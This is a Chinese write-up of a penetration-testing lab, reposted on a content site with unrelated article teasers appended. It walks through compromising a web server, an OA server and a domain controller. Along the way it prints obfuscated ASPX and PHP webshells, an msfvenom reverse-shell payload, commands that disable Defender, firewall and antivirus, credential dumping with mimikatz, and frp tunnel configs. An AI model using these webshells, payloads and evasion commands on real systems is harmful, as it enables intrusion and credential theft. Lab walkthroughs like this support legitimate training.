Moonsec_Projet_7

news2024/11/15 23:21:52

Moonsec_Projet_7

1、基础介绍

1.1 网络拓扑图

image-20230923104638848

主机账号密码网卡IP
Windows Server 2016administrator!@#QWE123vmnet17(web) | vmnet18192.168.0.144(www.moonlab.com) | 10.10.1.131
Windows Server 2012administrator!@#QWEasdvmnet18 | vmnet1910.10.1.130 | 10.10.10.166
Windows Server 2016-dcadministrator!@#QWEasd456/!@#QWEqwe123.vmnet1910.10.10.165

2、Windows Server 2016 门户网站打点

2.1 nmap

2.1.1 主机探测
nmap -sn 192.168.0.0/24

image-20240219101811912

2.1.2 端口扫描
sudo nmap -sT -sC -sV -O --min-rate=100 -p21,80,999,5989,6588 192.168.0.114 -oN nmapscan/detail

image-20240219102702598

2.1.3 udp端口扫描
sudo nmap -sU --min-rate=100 -p- 192.168.0.114 -oN nmapscan/udp

image-20240219110058660

2.1.4 默认漏洞脚本探测
sudo nmap --script=vuln --min-rate=100 -p21,80,999,5989,6588,137 192.168.0.114 -oN nmapscan/vuln

image-20240219111012537

2.2 目录爆破

2.2.1 设置了10线程,还是寄啦

image-20240219111839023

2.2.2 gobuster也不行

image-20240219112448449

2.2.3 dirb跑一下也寄啦

image-20240219112623022

回到服务端看发现扫描流量被当作cc攻击被拦截了

image-20240219112924720

2.3 绑定域名

其实上边的目录爆破都是无用功,ip无法访问到这个环境的服务,我也是后边才发现这一点的

这个靶场web服务器的域名是www.moonlab.com在hosts绑定对应的IP方能访问web服务

192.168.0.114   www.moonlab.com

image-20240219151028274

image-20240219151205000

2.4 whatweb

网站存在安全狗

image-20240219151331379

image-20240219151359933

2.5 访问/robots.txt文件

上面说了,ip访问没有任何东西,会重定向。我们使用域名和nmap扫描的结果进行看看。其实 robots.txt 这个文件不管在哪都可以去尝试访问的。

User-agent: *
Disallow: /SiteServer/
Disallow: /SiteFiles/
Disallow: /UserCenter/

image-20240219153900285

2.6 域名绑定后的目录爆破

2.6.1 dirb

线程设置为1秒后,服务器不会有太大的警报

dirb http://www.moonlab.com/ /usr/share/wordlists/dirb/small.txt -z 1000
# -z  线程设置为1秒

image-20240219172244472

2.6.2 尝试py脚本目录扫描

网上了解了扫描目录WAF(安全狗)绕过的方法:

  1. 降低请求频率,防止IP被ban
  2. 爬虫白名单绕过
  3. 代理池请求

WAF绕过思路整理(挺全)

waf绕过总结及工具介绍

由于robots.txt文件有新的引导,这一步暂时可以先放放,后面没思路了可以在回头

#!/usr/bin/env python3
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time

# url = "http://www.moonlab.com/"

with open ('dicc.txt', 'r', encoding='UTF-8') as readfile:
    for dirs in readfile.readlines():
        url = 'http://www.moonlab.com/'+dirs.strip('\n')
        resp = requests.get(url)
        strlen = len(resp.text)
        print(url + '---statu---' + str(resp.status_code) + '---lens---' + str(strlen))
        #sys.exit()
        time.sleep(1)
        if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
            if str(strlen) !=  "2939":
                with open('result.txt', 'a', encoding='UTF-8') as writefile:
                    writefile.write(url + '---statu---' + str(resp.status_code) + '---lens---' + str(strlen) + '\n')

image-20240219161338212

还是有很多很多无用数据,还得手动排除

image-20240219165334594

不过服务端还是会存在一些拦截信息,并不是直接办掉ip。如果网站管理员不在场的情况下是不会及时发现的。

image-20240219165937459

2.7 /SiteServer/

image-20240219154227706

2.7.1 SiteServer禁用JS获取后台账号密码

使用插件Quick Javascript Switcher

在忘记密码页面处,先输入后台账号名admin,然后禁用掉JS,之后点击下一步:

image-20240219164700289

之后什么都不用填,一直下一步就可以:

image-20240219164723763这个时候就能够成功获取到目标后台的账号密码

账号:admin

密码:admin5566

image-20240219164743570

成功登陆后台系统:

image-20240219205038745

2.7.2 SiteServer后台模板Getshell

生成一个蚁剑的aspx一句话木马,密码为cmd

<% function E6a7aJ71(){var GEPH="unsa",YACK="fe",CF9j=GEPH+YACK;return CF9j;}var PAY:String=Request["cmd"];~eval/*Z3404I2075*/(PAY,E6a7aJ71());%><%@Page Language = JS%>

站点管理 --> 显示功能 --> 模板管理 --> 添加单页模板 --> 添加生成aspx木马以及对应参数 --> 确定

image-20240219215039652

这里面写入的aspx一句话木马最好是能够绕过安全狗和windows defender,我直接使用webshell生成器生成的蚁剑的aspx一句话木马,添加模板写入后,没被WAF,输入完点击确定,返回模板管理

image-20240219214334160

点击刚刚生成的文件名即可大概确认木马已成功上传

image-20240219215442427

进行蚁剑连接 --> 成功

image-20240220224431680

2.8 /SiteFiles/

image-20240219154235172

2.9 /UserCenter/

image-20240219154243498

3、Webshell 上的摸索与拿下

3.1 进入webshell

image-20240219234519547

3.2 蚁剑插件信息收集

3.2.1 基本信息

image-20240219234722859

3.2.2 杀软识别

image-20240219234834451

3.2.3 MS17-010扫描

这里不能使用这个模块进行扫描,直接就被办掉了,被当作cc攻击了

3.2.4 ipconfig /all

发现有双网卡

image-20240219235542906

3.3 aspx shellcode getsystem 提权

这种方法首先上线webshell就得上msf的c2马

3.3.1 制作msf的aspx木马
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.128 lport=12345 -f aspx > msf_shell.aspx

image-20240220094225051

3.3.1 写入木马

image-20240220094901988

3.3.1 建立监听

image-20240220094922875

3.3.1 上线msf

image-20240220095003906

3.3.1 getsystem提权+进程迁移

由于这台winserver2016就是已管理员权限运行的,所以getsystem很容易就提权成功。随后进程迁移后就以及隐藏掉了w3wp.exe这个危险进程了

image-20240220095444785

3.4 PrintSpoofer.exe 本地提权(含免杀)

3.4 关闭杀软和防火墙

貌似效果不是很好啊,这个shell都已经是system了,可是还是无法关闭

meterpreter > run post/windows/manage/killav
meterpreter > shell
meterpreter > chcp 65001
C:\Windows\system32>net stop windefend		------关闭Denfender
C:\Windows\system32>bcdedit.exe /set {current} nx AlwaysOff		------关闭DEP
C:\Windows\system32>netsh advfirewall set allprofiles state off / on 	------关闭 / 打开 防火墙
C:\Windows\system32>netsh advfirewall show allprofiles 	----查看防火墙状态

image-20240220225920650

直接操作注册表关闭杀软,很成功。注意一定要重启电脑,不然无法生效

禁用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

若需重新启用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 0 /t REG_DWORD /f

image-20240220230458953

3.5 收集hash明文

3.5.1 creds_all
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all

明文密码(还发现了有Domain的存在):
Administrator     WIN-FHOQSB51A6Q  !@#QWE123
moonlab           WIN-FHOQSB51A6Q  DvS6yrCjxq3sOQBnIGc

image-20240220101701322

3.5.2 hashdump

image-20240220102757964

3.5.3 cs收集密码凭证

随便来一个mimikatz工具就可以直接获取

image-20240223100049044

3.6 上线CS

3.6.1 msf -> cs
3.6.2 直接cs

cs生成一个无免杀的木马,尝试蚁剑上传执行后,想着该关的都关闭了,运行木马程序后还是失败了

image-20240220231154392

后面网上查了好些资料才发现,需要重新启动电脑让关闭Windows Defender的命令生效。重启后,cs成功上线,终于不会被杀掉了

image-20240221144833081

3.7 远控

3.7.1 rdesktop

既然都有明文密码了,直接尝试远控连接

成功开启了远程桌面
meterpreter > run post/windows/manage/enable_rdp

执行这条命令加上-r加上给出的这个文件,可以关闭远程桌面.用它给的这个文件我们可以关闭远程桌面并清除痕迹。运用下面这个命令查看帮助信息
meterpreter > run multi_console_command -r /root/.msf4/loot/20210413223147_default_192.168.1.7_host.windows.cle_552272.txt

image-20240220231452979

image-20240220231845252

爆了点小错误,网上也有解决办法,最简单的就是因为对方的仅允许运行使用网络级别身份验证的远程桌面的计算机连接(建议)(N)关闭即可,这里应该是由于开启3389端口是使用msf的后渗透命令执行的,这里暂时先手动关闭

image-20240220232352676

输入账号密码:Administrator     !@#QWE123

image-20240220232502529

成功拿下一台主机,想关啥就可以关啥了

image-20240220232625481

4、1.0网段内网渗透

通过cs扫描1.0段,发现1.0段有一台设备,也有80端口的服务

image-20240221150819178

4.1 frp建立隧道

frpc
[common]
server_addr = 192.168.0.128
# 服务器地址
server_port = 7000
# 监听的端口
token = Aa@123.
# 密钥
 
[socks5]
# socks隧道
type = tcp
# 隧道类型
plugin = socks5
# 使用socks5插件
remote_port = 5000
plugin_user = abc
#隧道用户名
plugin_passwd = abc123
# 隧道密码
use_encryption = true
use_compression = true
# 流量加密

image-20240221160527265

frps
[common]
bind_port = 7000
# 监听的端口
token = Aa@123.
# 密钥
dashboard_port = 7001
# dashboardb端口
dashboard_user = carmi
# dashboard帐号
dashboard_pwd = carmi@123
# dashboard密码

image-20240221160834246

浏览器访问1.0网段的通达OA

image-20240221162443235

image-20240221162459871

4.2 通达OA的rce

既然是通达OA,那么根据之前HW的漏洞,找到了一个针对于通达OA的rce利用的exp

下载exp
git clone https://github.com/wikiZ/tongda-exp-poc

image-20240221223136907

poc验证

这里琢磨了好久,可算找到连接不上的原因了。第一次使用/etc/proxychains4.conf,刚开始不知道还需要填写账号密码,后面找了好多原因,添加socks5的账号密码,可算明白了

image-20240221232633463

exp利用
路径:http://10.10.1.130/ispirit/interface/xiaoma.php
密码cmd

image-20240221233918029

这里使用默认的shell会被目标主机的360查杀掉,使用这个脚本默认的木马,连接不上会一直显示为空的情况。这边也是琢磨了好一会儿,看了下这个脚本的源码是要经过base64解密的。那我们直接使用webshell生成器,生成蚁剑的木马,如何手动经过编码后送入脚本的payload的位置中一个一个的去尝试。后来尝试出来,这个蚁剑脚本可以连接的

<?php class GS814503 { public function __construct($H5EBt){ @eval("/*Z1zv37810V*/".$H5EBt."/*Z1zv37810V*/"); }}new GS814503($_REQUEST['cmd']);?>

4.3 蚁剑尝试连接

设置代理。这里的代理测试,测试的是http://10.10.1.130

image-20240222094318021

成功连接蚁剑

image-20240222104013400

4.4 1.0内网信息收集

whoami /all

image-20240222104825955

systeminfo

终端页面内容太多了显现不了,直接输出成文件查看。发现该主机打了好多的补丁

image-20240222105238219

ipconfig /all

image-20240222105504080

tasklist /svc

查看进程列表,杀软识别

image-20240222105734122

netstat -ano

image-20240222110344731

net start

image-20240222110442117

4.5 关闭杀软和防火墙

net stop windefend		------关闭Denfender
bcdedit.exe /set {current} nx AlwaysOff		------关闭DEP
netsh advfirewall set allprofiles state off / on 	------关闭 / 打开 防火墙
netsh advfirewall show allprofiles 	----查看防火墙状态

效果都不怎么样,之关闭了一个防火墙

image-20240222112719949

禁用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

shutdown /r /t 0	立即重启主机

image-20240222113051257

想直接关闭360全家桶,可是都不太行

tskill pid
taskkill /pid 1160 -t
taskkill /f /t /im 360tray.exe


taskkill /f /t /im 360tray.exe
taskkill /f /t /im ZhuDongFangYu.exe
taskkill /f /t /im 360sd.exe
taskkill /f /t /im 360rp.exe

360tray.exe <=> 360安全卫士-实时保护
ZhuDongFangYu.exe <=> 360安全卫士-主动防御
360sd.exe <=> 360杀毒
360rp.exe <=> 360杀毒

4.6 shellcode正向木马上线主机

使用MSF生成一个shellcode正向木马
sudo msfvenom -p windows/meterpreter/bind_tcp lport=11111 -e x86 /ikata_ga_nai -i 5 -f raw > test.c

image-20240222215041563

MSF设置监听
proxychains msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 11111
set rhost 10.10.1.130

image-20240222215448768

把test.c和shellcode加载器上传到目标主机上线

shellcode_launcher.exe

老树开新花之shellcode_launcher免杀Windows Defender

shellcode_launcher.exe -i test.c

image-20240222220327911

image-20240222220509595

4.7 收集hash

load kiwi
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all

获取不到密码

image-20240222222632830

hashdump
明文密码:
administrator     !@#QWEasd

image-20240222223025721

cs收集密码凭证

注意,这台设备由于版本问题,mimikatz无法抓取明文密码,但是也是有办法解决的。就是说我们可以通过修改注册表来显示明文以及需要强制锁屏重新使内存获取密码来解决,或者也可以直接去hash碰撞解密,都是没问题的

image-20240223095915689

获取到明文和密文密码

image-20240223095452948

4.8 远控

rdesktop

既然都有明文密码了,直接尝试远控连接

meterpreter > run post/windows/manage/enable_rdp

这里估计是代理原因,但是实际上对方主机轻轻松松开启了3389远程桌面连接发服务。问题还是有,就是还得在靶机上关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接(建议)(N)

image-20240222223601686

用户名:oa\administrator
密码:!@#QWEasd

image-20240222223928045

成功拿下

image-20240222224108748

4.9 正向代理上线CS

创建监听器

image-20240222232606393

生成可执行持续(Stageless)

必须是带Stageless,不然无法使用正向的监听器

image-20240222232711449

上传木马到目标主机

image-20240222232933083

connect主动连接

正向连接,需要自己主动去连接

image-20240222233137221

5、10.0段内网渗透

1.0段cs的信息收集

目标探测

扫描一下,发现又有一台未知主机

image-20240222233706505

域内信息收集

命令尝试看看是否是域内主机

shell net view
shell net view /domain
shell net user /domain  	查询域内又几个用户(只能是域用户才有权限查询)
shell net group "domain computers" /domain  	查询域中的计算机名字
shell net group "domain Controllers" /domain  	查询域控的名字
shell nslookup -type=SRV _ldap._tcp  	查询域控

练习过域渗透的应该明白,net view爆出了6118的错误,说明域控上是存在防火墙的。还有从命令回显当作也可以看出域的名称为attack。local

image-20240223101441861

ping域控

也证实了10.10.10.165这台主机就是域控

image-20240222234513596

msf添加路由

run get_local_subnets	查看网段
run autoroute -s 10.10.10.0/24
run autoroute -p

image-20240223151546243

msf信息收集

getuid
sysinfo
hashdump
run post/windows/gather/enum_domain		定位一下域控
run post/windows/gather/enum_logged_on_users 	查看登陆的用户和sid信息
run post/windows/gather/enum_ad_computers	查看域内主机有那些

image-20240223150956297

令牌窃取

use incognito
list_tokens -u

image-20240223151233722

没戏,该环境没有域控的令牌。这边我们也无法继续尝试下去了

10.0段frp建立隧道

蚁剑上传frp等工具

image-20240223103943163

frps

image-20240223173231156

frpc

image-20240223173322499

添加好进10.0段的路由

image-20240223173506971

尝试nmap一下

这边也是搞了好久好久,对域控的一些操作还不是那么的明白,很多操作暂时也都学的迷迷糊糊的。这里我们尝试跳过防火墙,尝试nmap一下看看能否远程连接,发现还真可以

image-20240223174138546

发现域控明文密码

估计是管理员的一是疏忽,或者为了一人多级方便操作怕忘记把,这边很幸运发现了dc的明文密码

image-20240223174446435

直接远控上线

image-20240223174838064

结束

image-20240223175055907

通关教程

https://blog.csdn.net/qq_45612828/article/details/126146970

https://cloud.tencent.com/developer/article/1752187

https://www.cnblogs.com/hellobao/articles/17247198.html

nmap的xml转htm好看的报告

最全的文件上传漏洞之WAF拦截绕过总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1536061.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

笔记本电脑开机黑屏没反应怎么办?教你逐一排查问题

笔记本电脑是我们日常工作和学习中不可或缺的工具&#xff0c;但有时候在开机时可能会遇到黑屏无反应的问题&#xff0c;这给我们的使用带来了困扰。然而&#xff0c;不用担心&#xff0c;通常情况下&#xff0c;这种问题是可以解决的。在本文中&#xff0c;我们将介绍三种常见…

Redis入门到入坑(一)

Redis入门到入坑&#xff08;一&#xff09; Redis缓存入门简介Redis初始操作Redis数据存储操作 Redis常用数据类型简介String类型操作实践Hash类型应用实践List类型应用实践Set类型应用实践 Java中操作redis准备工作Jedis的应用快速入门实现RedisTemplate应用项目工程实践 Red…

【LeetCode: 433. 最小基因变化 + BFS】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

YOLOV5 部署:cuda和cuDNN安装

1、前言 TensorRT 的安装需要配合cuda的使用,所以这里需要安装cuda和cudnn用于加速推理 TensorRT 就是神经网络专门用来加速的框架 之前训练yolov5项目的时候,我们只是配置了torch的GPU环境,没有专门安装cuda和cudnn,因为简单的训练、推理没必要cuda加速。 torch的GPU配置…

利用matplot绘制折线图(详细版-有示例数据)

对于五组数据&#xff0c;绘制折线图&#xff0c;添加有图例、不同折线的颜色等&#xff0c;如下图所示&#xff1a; python代码&#xff1a; import matplotlib.pyplot as plt import numpy as np# 定义数据 data [[1, 2, 3, 4, 5, 6, 7, 8], # 数据1[2, 2, 4, 4, 5, 5, 6,…

Spring Web MVC入门(6)

应用分层 在开发的过程中, 我们会发现, 程序的代码有时会很"杂乱", 如果后面的项目更大了, 那就会更加地杂乱无章(文件乱, 代码内容乱). 也基于此, 接下来让我们来学习一下应用分层. 也类似于公司的组织架构 公司初创阶段, 一个人身兼数职, 既做财务, 又做人事,还有…

十四、ReadWriteLock

ReadWriteLock 读写锁 又叫排他锁 如果使用互斥锁&#xff0c;一个线程在读&#xff0c;其他线程也不能读也不能写 换成读写锁的时候&#xff0c;读线程是读锁&#xff0c;写线程是写锁&#xff0c;写锁是排他的 在多线程大大提高效率&#xff0c;当一个线程在读的时候&…

当内外网的域名相同时,如何在外网解析同域名的网址

当内部网络和外部网络存在相同的域名&#xff0c;并且希望内部用户通过内部DNS服务器解析到外部网络上的该域名对应的公网IP地址时&#xff0c;需要在内部DNS服务器上采取一些特殊配置策略来实现这一目标。以下是一种通用的解决方案&#xff1a; 条件转发&#xff08;Condition…

MT1490 修改字符串

原题链接:https://www.matiji.net/exam/brushquestion/490/778/B3FCFEC101BD05189BB74D522E019504 输入1个字符串, 如果其中小写字符多于大写字符&#xff0c;则将其全部转换为小写字符&#xff0c;如果大写字符多于小写字符&#xff0c;则全部转换为大写字符。 输入格式&…

Oracle数据库 利用RMAN备份

利用RMAN备份讨论 运用RMAN进行备份 运用RMAN进行还原与恢复 RMAN的日常管理 RMAN的恢复目录 一、RMAN的概念与体系结构 Recovery Manager&#xff08;RMAN&#xff09;是一种用于备份(backup)、还原(restore)和恢复(recover) 数据库的 Oracle 工具。RMAN只能用于ORACLE…

重磅|国家能源局开展配电网安全风险管控重点行动

据国家能源局3月21日消息&#xff0c;为紧扣新形势下电力保供和转型目标&#xff0c;聚焦配电网安全运行、供电保障、防灾减灾和坚强可靠等方面安全风险&#xff0c;推动解决城乡配电网发展薄弱等问题&#xff0c;全面提升配电网供电保障和综合承载能力&#xff0c;国家能源局决…

Linux东方通下载及使用

解压文件 mkdir /usr/local/java 加压包拖进去 vi /etc/profile 复制路径修改路径 export JAVA_HOME/usr/local/java/jdk1.8.0_151 export CLASSPATH.:${JAVA_HOME}/jre/lib/rt.jar:${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar export PATH$PATH:${JAVA_HOME}/bin 进入…

✅让我们用AI制作一个漂亮的头像吧

头像 头像是指在互联网上用于代表个人或实体的图像。在社区中&#xff0c;头像通常用于标识和区分用户&#xff0c;是用户身份的象征。 社区的头像有多种意义&#xff0c;不限于以下几点: 身份标识&#xff1a;社区头像可以让用户在互联网上更好地代表自己&#xff0c;帮助用…

Mamba 基础讲解【SSM,LSSL,S4,S5,Mamba】

文章目录 Mamba的提出动机TransformerRNN Mama的提出背景状态空间模型 (The State Space Model, SSM)线性状态空间层 (Linear State-Space Layer, LSSL)结构化序列空间模型 &#xff08;Structured State Spaces for Sequences, S4&#xff09; Mamba的介绍Mamba的特性一&#…

java分割等和子集(力扣Leetcode416)

分割等和子集 力扣原题链接 给你一个只包含正整数的非空数组nums。请你判断是否可以将这个数组分割成两个子集&#xff0c;使得两个子集的元素和相等。 示例 1&#xff1a; 输入&#xff1a;nums [1,5,11,5] 输出&#xff1a;true 解释&#xff1a;数组可以分割成 [1, 5, 5] …

外包干了6天,技术明显进步。。。

我是一名大专生&#xff0c;自19年通过校招进入湖南某软件公司以来&#xff0c;便扎根于功能测试岗位&#xff0c;一晃便是近四年的光阴。今年8月&#xff0c;我如梦初醒&#xff0c;意识到长时间待在舒适的环境中&#xff0c;已让我变得不思进取&#xff0c;技术停滞不前。更令…

面试算法-73-二叉树的最小深度

题目 给定一个二叉树&#xff0c;找出其最小深度。 最小深度是从根节点到最近叶子节点的最短路径上的节点数量。 说明&#xff1a;叶子节点是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;2 解 class Solu…

TC(totalCommander)配置快捷键

totalCommander 是一个非常流行的资源管理工具&#xff0c;如果我们有一些便捷的脚本&#xff0c;那么如何在totalCommander 中通过快捷键快速的调用/运行这个脚本呢&#xff1f;本文本就以 ssh工具 python脚本 为例&#xff0c;说明如何在totalCommander中配置快捷键&#xff…

如何使用好用便签管理生活内容或工作事项?

在快节奏的现代生活中&#xff0c;我们常常被各种琐事和工作压力所困扰&#xff0c;仿佛身陷一片混沌之中&#xff0c;焦虑不已。面对这些繁杂的事项&#xff0c;我们往往感到无从下手&#xff0c;甚至有时会忘记一些重要的事情。然而&#xff0c;自从我发现了敬业签这个神奇的…

openEuler 22.03(华为欧拉)一键安装 Oracle 19C RAC(19.22) 数据库

前言 Oracle 一键安装脚本&#xff0c;演示 openEuler 22.03 一键安装 Oracle 19C RAC 过程&#xff08;全程无需人工干预&#xff09;&#xff1a;&#xff08;脚本包括 ORALCE PSU/OJVM 等补丁自动安装&#xff09; ⭐️ 脚本下载地址&#xff1a;Shell脚本安装Oracle数据库…